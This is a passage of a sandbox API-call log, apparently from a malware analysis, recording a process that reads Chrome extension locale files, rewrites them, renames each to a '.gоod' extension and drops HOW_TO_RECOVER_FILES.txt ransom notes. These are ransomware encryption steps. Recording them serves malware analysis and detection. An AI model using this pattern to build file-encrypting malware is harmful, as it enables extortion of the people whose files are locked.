cAlternateFileName="")) returned 1 [0259.352] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85e1930, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85e1842, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0259.352] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0259.352] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0259.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0259.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0259.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0259.353] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt", lpFilePart=0x0) returned 0x7b [0259.353] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85da3f8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85e1930, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85e1930, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0259.353] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85da3f8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85e1930, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85e1930, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.353] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85e1930, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85e1842, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0259.353] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85e1930, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85e1842, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0259.353] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0259.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0259.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0259.353] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json", lpFilePart=0x0) returned 0x89 [0259.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0259.354] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3784770 | out: lpFileInformation=0x3784770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85e1930, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85e1842, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd5)) returned 1 [0259.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0259.354] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json", lpFilePart=0x0) returned 0x89 [0259.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0259.354] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0259.354] GetFileType (hFile=0x86c) returned 0x1 [0259.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0259.354] GetFileType (hFile=0x86c) returned 0x1 [0259.354] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xd5 [0259.354] ReadFile (in: hFile=0x86c, lpBuffer=0x3784c00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3784c00*, lpNumberOfBytesRead=0x209ebc98*=0xd5, lpOverlapped=0x0) returned 1 [0259.354] CloseHandle (hObject=0x86c) returned 1 [0263.274] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0265.583] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json", lpFilePart=0x0) returned 0x89 [0265.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0265.583] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0265.584] GetFileType (hFile=0x858) returned 0x1 [0265.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0265.584] GetFileType (hFile=0x858) returned 0x1 [0265.584] WriteFile (in: hFile=0x858, lpBuffer=0x3923be8*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3923be8*, lpNumberOfBytesWritten=0x209ebba8*=0xe0, lpOverlapped=0x0) returned 1 [0265.585] CloseHandle (hObject=0x858) returned 1 [0265.585] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json", lpFilePart=0x0) returned 0x89 [0265.585] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0265.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0265.585] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85e1930, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85e1842, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9a82d459, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0265.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0265.585] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\messages.json.gоod")) returned 1 [0265.586] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0265.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0265.586] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0265.587] GetFileType (hFile=0x858) returned 0x1 [0265.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0265.587] GetFileType (hFile=0x858) returned 0x1 [0265.588] WriteFile (in: hFile=0x858, lpBuffer=0x3927520*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3927520*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0265.589] CloseHandle (hObject=0x858) returned 1 [0265.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0265.589] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv", lpFilePart=0x0) returned 0x7b [0265.589] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85e8e5c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85eb5c9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85eb5c9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0265.590] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85e8e5c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85eb5c9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85eb5c9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.590] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85eb5c9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85edb92, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0265.590] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0265.590] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0265.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0265.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0265.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0265.590] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv", lpFilePart=0x0) returned 0x7b [0265.590] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85e8e5c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85eb5c9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85eb5c9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0265.590] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85e8e5c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85eb5c9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85eb5c9, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.591] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85eb5c9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85edb92, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0265.591] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85eb5c9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85edb92, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0265.591] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0265.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0265.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0265.591] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json", lpFilePart=0x0) returned 0x89 [0265.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0265.591] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x39374f0 | out: lpFileInformation=0x39374f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85eb5c9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85edb92, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc6)) returned 1 [0265.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0265.592] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json", lpFilePart=0x0) returned 0x89 [0265.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0265.592] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0265.592] GetFileType (hFile=0x858) returned 0x1 [0265.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0265.592] GetFileType (hFile=0x858) returned 0x1 [0265.592] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xc6 [0265.592] ReadFile (in: hFile=0x858, lpBuffer=0x3937970, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3937970*, lpNumberOfBytesRead=0x209ebc98*=0xc6, lpOverlapped=0x0) returned 1 [0265.593] CloseHandle (hObject=0x858) returned 1 [0267.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json", lpFilePart=0x0) returned 0x89 [0267.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0267.901] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0267.902] GetFileType (hFile=0x89c) returned 0x1 [0267.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0267.902] GetFileType (hFile=0x89c) returned 0x1 [0267.902] WriteFile (in: hFile=0x89c, lpBuffer=0x3dcc228*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3dcc228*, lpNumberOfBytesWritten=0x209ebba8*=0xd0, lpOverlapped=0x0) returned 1 [0267.903] CloseHandle (hObject=0x89c) returned 1 [0267.903] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json", lpFilePart=0x0) returned 0x89 [0267.903] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lv\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User 